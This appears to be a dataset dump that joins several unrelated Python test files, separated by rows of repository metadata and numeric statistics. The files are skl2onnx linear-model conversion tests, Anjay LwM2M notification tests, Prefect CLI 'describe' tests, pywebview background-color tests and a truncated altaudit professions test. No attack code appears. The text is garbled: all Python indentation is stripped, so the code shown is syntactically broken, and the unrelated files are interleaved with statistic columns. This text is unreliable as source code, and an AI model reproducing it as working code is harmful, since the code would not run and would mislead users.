self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLassoLars-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_lasso_lars_cv(self):
model, X = fit_regression_model(linear_model.LassoLarsCV())
model_onnx = convert_sklearn(
model, "lasso lars cv",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLassoLarsCV-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_lasso_lars_ic(self):
model, X = fit_regression_model(linear_model.LassoLarsIC())
model_onnx = convert_sklearn(
model, "lasso lars cv",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLassoLarsIC-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_lasso_cv(self):
model, X = fit_regression_model(linear_model.LassoCV())
model_onnx = convert_sklearn(
model, "lasso cv",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLassoCV-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_lasso_lars_int(self):
model, X = fit_regression_model(linear_model.LassoLars(), is_int=True)
model_onnx = convert_sklearn(
model, "lasso lars",
[("input", Int64TensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLassoLarsInt-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_lasso_lars_bool(self):
model, X = fit_regression_model(
linear_model.LassoLars(), is_bool=True)
model_onnx = convert_sklearn(
model, "lasso lars",
[("input", BooleanTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnLassoLarsBool",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_multi_linear_regression(self):
model, X = fit_regression_model(linear_model.LinearRegression(),
n_targets=2)
model_onnx = convert_sklearn(
model, "linear regression",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnMultiLinearRegression-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_ard_regression(self):
model, X = fit_regression_model(
linear_model.ARDRegression(), factor=0.001)
model_onnx = convert_sklearn(
model, "ard regression",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnARDRegression-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_theilsen(self):
model, X = fit_regression_model(linear_model.TheilSenRegressor())
model_onnx = convert_sklearn(
model, "thiel-sen regressor",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnTheilSen-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_bayesian_ridge(self):
model, X = fit_regression_model(linear_model.BayesianRidge())
model_onnx = convert_sklearn(
model, "bayesian ridge",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnBayesianRidge-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_bayesian_ridge_return_std(self):
model, X = fit_regression_model(linear_model.BayesianRidge(),
n_features=2, n_samples=20)
model_onnx = convert_sklearn(
model, "bayesian ridge",
[("input", FloatTensorType([None, X.shape[1]]))],
options={linear_model.BayesianRidge: {'return_std': True}})
self.assertIsNotNone(model_onnx)
sess = InferenceSession(model_onnx.SerializeToString())
outputs = sess.run(None, {'input': X})
pred, std = model.predict(X, return_std=True)
assert_almost_equal(pred, outputs[0].ravel(), decimal=4)
assert_almost_equal(std, outputs[1].ravel(), decimal=4)
@unittest.skipIf(StrictVersion(ort_version) < StrictVersion("1.3.0"),
reason="output type")
def test_model_bayesian_ridge_return_std_double(self):
model, X = fit_regression_model(linear_model.BayesianRidge(),
n_features=2, n_samples=100,
n_informative=1)
model_onnx = convert_sklearn(
model, "bayesian ridge",
[("input", DoubleTensorType([None, X.shape[1]]))],
options={linear_model.BayesianRidge: {'return_std': True}})
self.assertIsNotNone(model_onnx)
X = X.astype(numpy.float64)
sess = InferenceSession(model_onnx.SerializeToString())
outputs = sess.run(None, {'input': X})
pred, std = model.predict(X, return_std=True)
assert_almost_equal(pred, outputs[0].ravel())
assert_almost_equal(std, outputs[1].ravel(), decimal=4)
def test_model_bayesian_ridge_return_std_normalize(self):
model, X = fit_regression_model(
linear_model.BayesianRidge(normalize=True),
n_features=2, n_samples=50)
model_onnx = convert_sklearn(
model, "bayesian ridge",
[("input", FloatTensorType([None, X.shape[1]]))],
options={linear_model.BayesianRidge: {'return_std': True}})
self.assertIsNotNone(model_onnx)
sess = InferenceSession(model_onnx.SerializeToString())
outputs = sess.run(None, {'input': X})
pred, std = model.predict(X, return_std=True)
assert_almost_equal(pred, outputs[0].ravel(), decimal=4)
assert_almost_equal(std, outputs[1].ravel(), decimal=4)
@unittest.skipIf(StrictVersion(ort_version) < StrictVersion("1.3.0"),
reason="output type")
def test_model_bayesian_ridge_return_std_normalize_double(self):
model, X = fit_regression_model(
linear_model.BayesianRidge(normalize=True),
n_features=2, n_samples=50)
model_onnx = convert_sklearn(
model, "bayesian ridge",
[("input", DoubleTensorType([None, X.shape[1]]))],
options={linear_model.BayesianRidge: {'return_std': True}})
self.assertIsNotNone(model_onnx)
X = X.astype(numpy.float64)
sess = InferenceSession(model_onnx.SerializeToString())
outputs = sess.run(None, {'input': X})
pred, std = model.predict(X, return_std=True)
assert_almost_equal(pred, outputs[0].ravel())
assert_almost_equal(std, outputs[1].ravel(), decimal=4)
def test_model_huber_regressor(self):
model, X = fit_regression_model(linear_model.HuberRegressor())
model_onnx = convert_sklearn(
model, "huber regressor",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
basename="SklearnHuberRegressor-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_multi_task_lasso(self):
model, X = fit_regression_model(linear_model.MultiTaskLasso(),
n_targets=2)
model_onnx = convert_sklearn(
model, "multi-task lasso",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnMultiTaskLasso-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_multi_task_lasso_cv(self):
model, X = fit_regression_model(linear_model.MultiTaskLassoCV(),
n_targets=2)
model_onnx = convert_sklearn(
model, "mutli-task lasso cv",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnMultiTaskLassoCV-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_multi_task_elasticnet(self):
model, X = fit_regression_model(linear_model.MultiTaskElasticNet(),
n_targets=2)
model_onnx = convert_sklearn(
model, "multi-task elasticnet",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnMultiTaskElasticNet-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_orthogonal_matching_pursuit(self):
model, X = fit_regression_model(
linear_model.OrthogonalMatchingPursuit())
model_onnx = convert_sklearn(
model, "orthogonal matching pursuit",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnOrthogonalMatchingPursuit-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_passive_aggressive_regressor(self):
model, X = fit_regression_model(
linear_model.PassiveAggressiveRegressor())
model_onnx = convert_sklearn(
model, "passive aggressive regressor",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnPassiveAggressiveRegressor-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_ransac_regressor_default(self):
model, X = fit_regression_model(
linear_model.RANSACRegressor())
model_onnx = convert_sklearn(
model, "ransac regressor",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnRANSACRegressor-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_ransac_regressor_mlp(self):
model, X = fit_regression_model(
linear_model.RANSACRegressor(
base_estimator=MLPRegressor(solver='lbfgs')))
model_onnx = convert_sklearn(
model, "ransac regressor",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnRANSACRegressorMLP-Dec3",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_ransac_regressor_tree(self):
model, X = fit_regression_model(
linear_model.RANSACRegressor(
base_estimator=GradientBoostingRegressor()))
model_onnx = convert_sklearn(
model, "ransac regressor",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnRANSACRegressorTree-Dec3",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_multi_task_elasticnet_cv(self):
model, X = fit_regression_model(linear_model.MultiTaskElasticNetCV(),
n_targets=2)
model_onnx = convert_sklearn(
model, "multi-task elasticnet cv",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnMultiTaskElasticNetCV-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
def test_model_orthogonal_matching_pursuit_cv(self):
model, X = fit_regression_model(
linear_model.OrthogonalMatchingPursuitCV())
model_onnx = convert_sklearn(
model, "orthogonal matching pursuit cv",
[("input", FloatTensorType([None, X.shape[1]]))])
self.assertIsNotNone(model_onnx)
dump_data_and_model(
X,
model,
model_onnx,
verbose=False,
basename="SklearnOrthogonalMatchingPursuitCV-Dec4",
allow_failure="StrictVersion("
"onnxruntime.__version__)"
"<= StrictVersion('0.2.1')",
)
if __name__ == "__main__":
unittest.main()
| 36.395433
| 79
| 0.576038
| 2,852
| 30,281
| 5.784011
| 0.075386
| 0.078019
| 0.052376
| 0.037039
| 0.878455
| 0.870332
| 0.868635
| 0.863058
| 0.827716
| 0.761639
| 0
| 0.014667
| 0.313266
| 30,281
| 831
| 80
| 36.43923
| 0.778601
| 0.000958
| 0
| 0.730323
| 0
| 0
| 0.169808
| 0.097699
| 0
| 0
| 0
| 0
| 0.074839
| 1
| 0.060645
| false
| 0.005161
| 0.015484
| 0
| 0.077419
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
54cc4b2fd0ad5a0d61d951d5fb88cda5652a91cc
| 5,590
|
py
|
Python
|
tests/integration/suites/default/con_attr.py
|
AVSystem/Anjay
|
0a0efa41370dd2f22d0eebb1277c4915747aec28
|
[
"Apache-2.0"
] | 161
|
2017-02-08T12:07:22.000Z
|
2022-03-20T11:10:10.000Z
|
tests/integration/suites/default/con_attr.py
|
AVSystem/Anjay
|
0a0efa41370dd2f22d0eebb1277c4915747aec28
|
[
"Apache-2.0"
] | 53
|
2017-03-15T12:58:40.000Z
|
2022-01-20T09:31:54.000Z
|
tests/integration/suites/default/con_attr.py
|
AVSystem/Anjay
|
0a0efa41370dd2f22d0eebb1277c4915747aec28
|
[
"Apache-2.0"
] | 68
|
2017-02-21T15:02:02.000Z
|
2022-03-19T06:24:21.000Z
|
# -*- coding: utf-8 -*-
#
# Copyright 2017-2021 AVSystem <avsystem@avsystem.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import socket
from framework.lwm2m_test import *
class ConfirmableTest(test_suite.Lwm2mSingleServerTest,
test_suite.Lwm2mDmOperations):
def runTest(self):
# Create object
self.create_instance(self.serv, oid=OID.Test, iid=0)
# Write Attributes for Counter
self.write_attributes(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Counter,
query=['con=1', 'pmax=1'])
# Observe: Counter
counter_pkt = self.observe(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Counter,
token=random_stuff(8))
# Observe: Timestamp
timestamp_pkt = self.observe(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Timestamp,
token=get_another_token(counter_pkt.token))
con_count = 0
non_count = 0
for _ in range(10):
pkt = self.serv.recv()
self.assertEqual(pkt.code, coap.Code.RES_CONTENT)
self.assertIn(pkt.token, {counter_pkt.token, timestamp_pkt.token})
if pkt.token == counter_pkt.token:
self.assertEqual(pkt.type, coap.Type.CONFIRMABLE)
self.serv.send(Lwm2mEmpty.matching(pkt)())
con_count += 1
elif pkt.token == timestamp_pkt.token:
self.assertEqual(pkt.type, coap.Type.NON_CONFIRMABLE)
non_count += 1
self.assertGreater(con_count, 0)
self.assertGreater(non_count, 0)
# Cancel Observations
# We don't wait for response to the first Cancel Observe before sending
# the other one because expected responses are small enough to not
# trigger a BLOCK transfer. In that case, Anjay is not expected to
# attempt to receive additional packets during request handling - they
# should be handled sequentially without any errors.
self.serv.send(Lwm2mObserve(
ResPath.Test[0].Counter, token=counter_pkt.token, observe=1))
self.serv.send(Lwm2mObserve(
ResPath.Test[0].Timestamp, token=timestamp_pkt.token, observe=1))
# flush any remaining notifications & Cancel Observe responses
try:
while True:
pkt = self.serv.recv(timeout_s=0.5)
self.assertIn(
pkt.token, {counter_pkt.token, timestamp_pkt.token})
except socket.timeout:
pass
class NonConfirmableTest(test_suite.Lwm2mSingleServerTest,
test_suite.Lwm2mDmOperations):
def setUp(self):
super().setUp(extra_cmdline_args=['--confirmable-notifications'])
def runTest(self):
# Create object
self.create_instance(self.serv, oid=OID.Test, iid=0)
# Write Attributes for Counter
self.write_attributes(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Counter,
query=['con=0', 'pmax=1'])
# Observe: Counter
counter_pkt = self.observe(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Counter,
token=random_stuff(8))
# Observe: Timestamp
timestamp_pkt = self.observe(self.serv, oid=OID.Test, iid=0, rid=RID.Test.Timestamp,
token=get_another_token(counter_pkt.token))
con_count = 0
non_count = 0
for _ in range(10):
pkt = self.serv.recv()
self.assertEqual(pkt.code, coap.Code.RES_CONTENT)
self.assertIn(pkt.token, {counter_pkt.token, timestamp_pkt.token})
if pkt.token == counter_pkt.token:
self.assertEqual(pkt.type, coap.Type.NON_CONFIRMABLE)
non_count += 1
elif pkt.token == timestamp_pkt.token:
self.assertEqual(pkt.type, coap.Type.CONFIRMABLE)
self.serv.send(Lwm2mEmpty.matching(pkt)())
con_count += 1
self.assertGreater(con_count, 0)
self.assertGreater(non_count, 0)
# Cancel Observations
# We don't wait for response to the first Cancel Observe before sending
# the other one because expected responses are small enough to not
# trigger a BLOCK transfer. In that case, Anjay is not expected to
# attempt to receive additional packets during request handling - they
# should be handled sequentially without any errors.
self.serv.send(Lwm2mObserve(
ResPath.Test[0].Counter, token=counter_pkt.token, observe=1))
self.serv.send(Lwm2mObserve(
ResPath.Test[0].Timestamp, token=timestamp_pkt.token, observe=1))
# flush any remaining notifications & Cancel Observe responses
try:
while True:
pkt = self.serv.recv(timeout_s=0.5)
self.assertIn(
pkt.token, {counter_pkt.token, timestamp_pkt.token})
except socket.timeout:
pass
| 42.030075
| 92
| 0.619678
| 685
| 5,590
| 4.970803
| 0.258394
| 0.061087
| 0.044053
| 0.058737
| 0.819677
| 0.819677
| 0.819677
| 0.785903
| 0.785903
| 0.785903
| 0
| 0.0166
| 0.28873
| 5,590
| 132
| 93
| 42.348485
| 0.839789
| 0.278354
| 0
| 0.894737
| 0
| 0
| 0.012262
| 0.006757
| 0
| 0
| 0
| 0
| 0.184211
| 1
| 0.039474
| false
| 0.026316
| 0.026316
| 0
| 0.092105
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
07076d46939194b8069ff9b9f256f2a7982bef2a
| 10,080
|
py
|
Python
|
tests/cli/test_describe.py
|
trapped/prefect
|
128f11570c35e7156d65ba65fdcbc1f4ccd7c2b7
|
[
"Apache-2.0"
] | 1
|
2019-12-20T07:43:55.000Z
|
2019-12-20T07:43:55.000Z
|
tests/cli/test_describe.py
|
trapped/prefect
|
128f11570c35e7156d65ba65fdcbc1f4ccd7c2b7
|
[
"Apache-2.0"
] | null | null | null |
tests/cli/test_describe.py
|
trapped/prefect
|
128f11570c35e7156d65ba65fdcbc1f4ccd7c2b7
|
[
"Apache-2.0"
] | null | null | null |
import sys
from unittest.mock import MagicMock
import click
import pytest
import requests
from click.testing import CliRunner
import prefect
from prefect.cli.describe import describe
from prefect.utilities.configuration import set_temporary_config
def test_describe_init():
runner = CliRunner()
result = runner.invoke(describe)
assert result.exit_code == 0
assert (
"Describe commands that render JSON output of Prefect object metadata."
in result.output
)
def test_describe_help():
runner = CliRunner()
result = runner.invoke(describe, ["--help"])
assert result.exit_code == 0
assert (
"Describe commands that render JSON output of Prefect object metadata."
in result.output
)
@pytest.mark.skipif(
sys.version_info < (3, 6), reason="3.5 does not preserve dictionary order"
)
def test_describe_flows(monkeypatch):
post = MagicMock(
return_value=MagicMock(
json=MagicMock(return_value=dict(data=dict(flow=[{"name": "flow"}])))
)
)
session = MagicMock()
session.return_value.post = post
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"}
):
runner = CliRunner()
result = runner.invoke(describe, ["flows", "--name", "flow"])
assert result.exit_code == 0
assert "name" in result.output
query = """
query {
flow(where: { _and: { name: { _eq: "flow" }, version: { _eq: null }, project: { name: { _eq: null } } } }, order_by: { name: asc, version: desc }, distinct_on: name) {
name
version
project {
name
}
created
description
parameters
archived
storage
environment
}
}
"""
assert post.called
assert post.call_args[1]["json"]["query"].split() == query.split()
def test_describe_flows_not_found(monkeypatch):
post = MagicMock(
return_value=MagicMock(json=MagicMock(return_value=dict(data=dict(flow=[]))))
)
session = MagicMock()
session.return_value.post = post
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"}
):
runner = CliRunner()
result = runner.invoke(describe, ["flows", "--name", "flow"])
assert result.exit_code == 0
assert "flow not found" in result.output
@pytest.mark.skipif(
sys.version_info < (3, 6), reason="3.5 does not preserve dictionary order"
)
def test_describe_flows_populated(monkeypatch):
post = MagicMock(
return_value=MagicMock(
json=MagicMock(return_value=dict(data=dict(flow=[{"name": "flow"}])))
)
)
session = MagicMock()
session.return_value.post = post
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"}
):
runner = CliRunner()
result = runner.invoke(
describe,
["flows", "--name", "flow", "--version", "2", "--project", "project"],
)
assert result.exit_code == 0
query = """
query {
flow(where: { _and: { name: { _eq: "flow" }, version: { _eq: 2 }, project: { name: { _eq: "project" } } } }, order_by: { name: asc, version: desc }, distinct_on: name) {
name
version
project {
name
}
created
description
parameters
archived
storage
environment
}
}
"""
assert post.called
assert post.call_args[1]["json"]["query"].split() == query.split()
@pytest.mark.skipif(
sys.version_info < (3, 6), reason="3.5 does not preserve dictionary order"
)
def test_describe_tasks(monkeypatch):
post = MagicMock(
return_value=MagicMock(
json=MagicMock(
return_value=dict(data=dict(flow=[{"tasks": [{"name": "task"}]}]))
)
)
)
session = MagicMock()
session.return_value.post = post
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"}
):
runner = CliRunner()
result = runner.invoke(describe, ["tasks", "--name", "flow"])
assert result.exit_code == 0
assert "name" in result.output
query = """
query {
flow(where: { _and: { name: { _eq: "flow" }, version: { _eq: null }, project: { name: { _eq: null } } } }, order_by: { name: asc, version: desc }, distinct_on: name) {
tasks {
name
created
slug
description
type
max_retries
retry_delay
mapped
}
}
}
"""
assert post.called
assert post.call_args[1]["json"]["query"].split() == query.split()
def test_describe_tasks_flow_not_found(monkeypatch):
post = MagicMock(
return_value=MagicMock(json=MagicMock(return_value=dict(data=dict(flow=[]))))
)
session = MagicMock()
session.return_value.post = post
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"}
):
runner = CliRunner()
result = runner.invoke(describe, ["tasks", "--name", "flow"])
assert result.exit_code == 0
assert "flow not found" in result.output
def test_describe_tasks_not_found(monkeypatch):
post = MagicMock(
return_value=MagicMock(
json=MagicMock(return_value=dict(data=dict(flow=[{"tasks": []}])))
)
)
session = MagicMock()
session.return_value.post = post
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"}
):
runner = CliRunner()
result = runner.invoke(describe, ["tasks", "--name", "flow"])
assert result.exit_code == 0
assert "No tasks found for flow flow" in result.output
@pytest.mark.skipif(
sys.version_info < (3, 6), reason="3.5 does not preserve dictionary order"
)
def test_describe_flow_runs(monkeypatch):
post = MagicMock(
return_value=MagicMock(
json=MagicMock(
return_value=dict(data=dict(flow_run=[{"name": "flow-run"}]))
)
)
)
session = MagicMock()
session.return_value.post = post
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"}
):
runner = CliRunner()
result = runner.invoke(describe, ["flow-runs", "--name", "flow-run"])
assert result.exit_code == 0
assert "name" in result.output
query = """
query {
flow_run(where: { _and: { name: { _eq: "flow-run" }, flow: { name: { _eq: null } } } }) {
name
flow {
name
}
created
parameters
auto_scheduled
scheduled_start_time
start_time
end_time
duration
heartbeat
serialized_state
}
}
"""
assert post.called
assert post.call_args[1]["json"]["query"].split() == query.split()
def test_describe_flow_runs_not_found(monkeypatch):
post = MagicMock(
return_value=MagicMock(
json=MagicMock(return_value=dict(data=dict(flow_run=[])))
)
)
session = MagicMock()
session.return_value.post = post
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"}
):
runner = CliRunner()
result = runner.invoke(describe, ["flow-runs", "--name", "flow-run"])
assert result.exit_code == 0
assert "flow-run not found" in result.output
@pytest.mark.skipif(
sys.version_info < (3, 6), reason="3.5 does not preserve dictionary order"
)
def test_describe_flow_runs_populated(monkeypatch):
post = MagicMock(
return_value=MagicMock(
json=MagicMock(
return_value=dict(data=dict(flow_run=[{"name": "flow-run"}]))
)
)
)
session = MagicMock()
session.return_value.post = post
monkeypatch.setattr("requests.Session", session)
with set_temporary_config(
{"cloud.graphql": "http://my-cloud.foo", "cloud.auth_token": "secret_token"}
):
runner = CliRunner()
result = runner.invoke(
describe, ["flow-runs", "--name", "flow-run", "--flow-name", "flow"]
)
assert result.exit_code == 0
query = """
query {
flow_run(where: { _and: { name: { _eq: "flow-run" }, flow: { name: { _eq: "flow" } } } }) {
name
flow {
name
}
created
parameters
auto_scheduled
scheduled_start_time
start_time
end_time
duration
heartbeat
serialized_state
}
}
"""
assert post.called
assert post.call_args[1]["json"]["query"].split() == query.split()
| 30.453172
| 181
| 0.553968
| 1,027
| 10,080
| 5.276534
| 0.115871
| 0.054807
| 0.066433
| 0.054807
| 0.923418
| 0.921941
| 0.901273
| 0.899059
| 0.891308
| 0.891308
| 0
| 0.005541
| 0.319643
| 10,080
| 330
| 182
| 30.545455
| 0.784631
| 0
| 0
| 0.714286
| 0
| 0.017422
| 0.386111
| 0
| 0
| 0
| 0
| 0
| 0.10453
| 1
| 0.038328
| false
| 0
| 0.031359
| 0
| 0.069686
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0710050d91e6640c6dc661c42052b2ac1a5e390f
| 991
|
py
|
Python
|
tests/test_bg_color.py
|
SpotlightKid/pywebview
|
e85507641a70470b15b3eb654d97cb29c1c29633
|
[
"BSD-3-Clause"
] | 3,093
|
2015-02-08T15:59:16.000Z
|
2022-03-31T15:45:21.000Z
|
tests/test_bg_color.py
|
SpotlightKid/pywebview
|
e85507641a70470b15b3eb654d97cb29c1c29633
|
[
"BSD-3-Clause"
] | 705
|
2015-02-10T17:29:02.000Z
|
2022-03-31T02:45:44.000Z
|
tests/test_bg_color.py
|
SpotlightKid/pywebview
|
e85507641a70470b15b3eb654d97cb29c1c29633
|
[
"BSD-3-Clause"
] | 528
|
2015-02-08T18:21:38.000Z
|
2022-03-30T03:39:07.000Z
|
import webview
import pytest
from .util import run_test
def test_bg_color():
window = webview.create_window('Background color test', 'https://www.example.org', background_color='#0000FF')
run_test(webview, window)
def test_invalid_bg_color():
with pytest.raises(ValueError):
webview.create_window('Background color test', 'https://www.example.org', background_color='#dsg0000FF')
with pytest.raises(ValueError):
webview.create_window('Background color test', 'https://www.example.org', background_color='FF00FF')
with pytest.raises(ValueError):
webview.create_window('Background color test', 'https://www.example.org', background_color='#ac')
with pytest.raises(ValueError):
webview.create_window('Background color test', 'https://www.example.org', background_color='#EFEFEH')
with pytest.raises(ValueError):
webview.create_window('Background color test', 'https://www.example.org', background_color='#0000000')
| 34.172414
| 114
| 0.724521
| 121
| 991
| 5.77686
| 0.223141
| 0.257511
| 0.16309
| 0.248927
| 0.795422
| 0.795422
| 0.795422
| 0.795422
| 0.795422
| 0.795422
| 0
| 0.01986
| 0.136226
| 991
| 28
| 115
| 35.392857
| 0.796729
| 0
| 0
| 0.294118
| 0
| 0
| 0.308704
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.117647
| false
| 0
| 0.176471
| 0
| 0.294118
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
ab4f5862e85be2f68ec35550a274005800dbcae0
| 24,140
|
py
|
Python
|
test/test_sections/test_professions.py
|
clegg89/altaudit
|
353484c2b39db13ecb294a55d43dd2e4e0ef6541
|
[
"MIT"
] | null | null | null |
test/test_sections/test_professions.py
|
clegg89/altaudit
|
353484c2b39db13ecb294a55d43dd2e4e0ef6541
|
[
"MIT"
] | 9
|
2020-09-23T14:47:12.000Z
|
2021-04-07T22:11:16.000Z
|
test/test_sections/test_professions.py
|
clegg89/altaudit
|
353484c2b39db13ecb294a55d43dd2e4e0ef6541
|
[
"MIT"
] | null | null | null |
"""Unit Tests for Profesion Info"""
import pytest
from altaudit.models import Character
import altaudit.sections.professions as Section
def test_profession_simple_priamries():
jack = Character('jack')
response = { 'professions' :
{ 'primary' : [
{ 'id' : 182, 'name' : "Herbalism", 'icon' : 'trade_herbalism', 'rank' : 150, 'max' : 300 },
{ 'id' : 186, 'name' : "Mining", 'icon' : 'inv_pick_02', 'rank' : 122, 'max' : 300 }
],
'secondary' : [
{ 'id' : 356, 'name' : "Fishing", 'icon' : 'trade_fishing', 'rank' : 0, 'max' : 300 },
{ 'id' : 185, 'name' : "Cooking", 'icon' : 'inv_misc_food_15', 'rank' : 0, 'max' : 300 },
